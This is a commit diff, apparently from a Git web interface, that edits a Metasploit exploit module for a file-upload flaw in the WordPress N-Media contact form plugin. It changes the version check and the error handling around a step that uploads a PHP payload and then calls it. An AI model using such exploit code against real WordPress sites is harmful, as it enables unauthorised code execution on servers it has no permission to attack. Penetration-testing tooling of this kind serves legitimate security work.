Land #5137 (again), WordPress N-Media Website File Upload
commit
418d8586a5
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.4')
|
||||
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5')
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -58,7 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => post_data
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /filename/
|
||||
if res
|
||||
if res.code == 200 && res.body =~ /filename/
|
||||
begin
|
||||
new_php_pagename = JSON.parse(res.body)["filename"]
|
||||
rescue JSON::ParserError
|
||||
|
@ -69,6 +70,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
else
|
||||
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
|
||||
end
|
||||
else
|
||||
fail_with('ERROR')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Calling payload...")
|
||||
send_request_cgi(
|
||||
|
|
Loading…
Reference in New Issue